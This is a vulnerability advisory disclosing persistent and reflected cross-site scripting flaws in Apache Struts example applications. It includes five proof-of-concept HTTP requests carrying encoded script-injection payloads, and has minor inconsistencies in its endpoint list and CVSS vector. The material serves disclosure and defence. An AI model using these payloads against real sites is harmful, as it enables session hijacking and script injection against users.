##############################################################################
#
# Title    : Apache Struts Multiple Persistent Cross-Site Scripting Vulnerabilities
# Author   : Antu Sanadi SecPod Technologies (www.secpod.com)
# Vendor   : http://struts.apache.org/
# Advisory : http://secpod.org/blog/?p=450
#            http://secpod.org/advisories/SecPod_Apache_Struts_Multiple_Parsistant_XSS_Vulns.txt
# Software : Apache struts 1.3.10, 2.0.14 and 2.2.3
# Date     : 01/02/2012
#
##############################################################################

SecPod ID: 1021          21/07/2011 Issue Discovered
            03/08/2011 Vendor Notified
            No Response
            01/02/2012 Advisory Released

Class: Cross-Site Scripting (Persistence)  Severity: High


Overview:
---------
Apache Struts Multiple Persistence Cross-Site Scripting Vulnerabilities.


Technical Description:
----------------------
Multiple persistence Cross-Site Scripting vulnerabilities are present in
Apache Struts, as it fails to sanitise user-supplied input.

 i)   Input passed via the 'name' and 'lastName' parameter in
      '/struts2-showcase/person/editPerson.action' is not properly verified
      before it is returned to the user. This can be exploited to execute
      arbitrary HTML and script code in a user's browser session in the
      context of a vulnerable site.

 ii)  Input passed via the 'clientName' parameter in
      '/struts2-rest-showcase/orders' action is not properly verified before
      it is returned to the user. This can be exploited to execute arbitrary
      HTML and script code in a user's browser session in the context of a
      vulnerable site.

 iii) Input passed via the 'name' parameter in
      '/struts-examples/upload/upload-submit.do?queryParam=Successful' action
      is not properly verified  before it is returned to the user. This can be
      exploited to execute arbitrary HTML and script code in a user's browser
      session in the context of a vulnerable site.

 iV)  Input passed via the 'message' parameter in
      '/struts-cookbook/processSimple.do' action is not properly verified
      before it is returned to the user. This can be exploited to execute
      arbitrary HTML and script code in a user's browser session in the
      context of a vulnerable site.

 V)   Input passed via the 'message' parameter in
      '/struts-cookbook/processSimple.do' action is not properly verified
      before it is returned to the user. This can be exploited to execute
      arbitrary HTML and script code in a user's browser session in the
      context of a vulnerable site.

  These vulnerabilities have been tested on Apache Struts2 v2.2.3,
  Apache Struts2 v2.0.14 and Apache Struts v1.3.10. 
  Other versions may also be affected.


Impact:
--------
Successful exploitation could allow an attacker to execute arbitrary HTML
code in a user's browser session in the context of a vulnerable application.


Affected Software:
------------------
Apache struts 2.2.3 and prior.

Tested on,
 i)   Apache struts 2.2.3 - Stored XSS 
      - struts2-showcase-2.2.3
      - struts2-rest-showcase-2.2.3

 ii)  Apache struts 2.0.14 - Stored XSS 
      - struts2-showcase-2.0.14

 iii) Apache struts 1.3.10 - Reflected XSS 
      - struts-cookbook-1.3.10
      - struts-examples-1.3.10


References:
-----------
http://struts.apache.org
http://secpod.org/blog/?p=450


Proof of Concept:
-----------------

POC 1:
-----
Stored XSS 

POST struts2-showcase/person/editPerson.action HTTP/1.1

Host: SERVER_IP:8080
User-Agent: struts2-showcase XSS-TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 192

Post Data:
----------
persons%281%29.name=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript
%3E&persons%281%29.lastName=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2
Fscript%3E&method%3Asave=Save+all+persons


POC 2:
-----
Stored XSS 

POST /struts2-rest-showcase/orders HTTP/1.1

Host: SERVER_IP:8080
User-Agent: struts2-rest-showcase XSS-TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 78

Post Data:
----------
clientName=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&amount=


POC 3: 
-----
Reflected XSS 

POST /struts-examples/upload/upload-submit.do?queryParam=Successful HTTP/1.1

Host: SERVER_IP:8080
User-Agent: Struts-examples XSS-TEST
Content-Type: multipart/form-data; boundary=---------------------------41701
161044225432961947041
Content-Length: 481

Post Data:
----------
-----------------------------41701161044225432961947041\r\n
Content-Disposition: form-data; name="theText"\r\n
\r\n
<script>alert("SecPod-XSS-TEST")</script>\r\n
-----------------------------41701161044225432961947041\r\n
Content-Disposition: form-data; name="theFile"; filename=""\r\n
Content-Type: application/octet-stream\r\n
\r\n
\r\n
-----------------------------41701161044225432961947041\r\n
Content-Disposition: form-data; name="filePath"\r\n
\r\n
\r\n
-----------------------------41701161044225432961947041--\r\n


POC 4:
-----
Reflected XSS 

POST /struts-cookbook/processSimple.do HTTP/1.1

Host: SERVER_IP:8080
User-Agent:Struts-cookbook XSS-TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

Post Data:
----------
name=XYZ&secret=XYZ&color=red&confirm=on&rating=1&message=%3Cscript%3Ealert
%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&


POC 5:
-----
Reflected XSS 

POST /struts-cookbook/processDyna.do HTTP/1.1

Host: SERVER_IP:8080
User-Agent:Struts-cookbook XSS-TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

Post Data:
----------
name=ZYZ&secret=&color=red&message=%3Cscript%3Ealert%28%22SecPod-XSS-TEST
%22%29%3C%2Fscript%3E&


Solution:
---------
Fix not available


Risk Factor:
-------------
   CVSS Score Report:
        ACCESS_VECTOR          = NETWORK
        ACCESS_COMPLEXITY      = LOW
        AUTHENTICATION         = NONE
        CONFIDENTIALITY_IMPACT = PARTIAL
        INTEGRITY_IMPACT       = PARTIAL
        AVAILABILITY_IMPACT    = NONE
        EXPLOITABILITY         = PROOF_OF_CONCEPT
        REMEDIATION_LEVEL      = UNAVAILABLE
        REPORT_CONFIDENCE      = CONFIRMED
        CVSS Base Score        = 6.4 (High) (AV:N/AC:L/Au:N/C:N/I:P/A:N)

Credits:
--------
Antu Sanadi of SecPod Technologies has been credited with the discovery of this
vulnerability.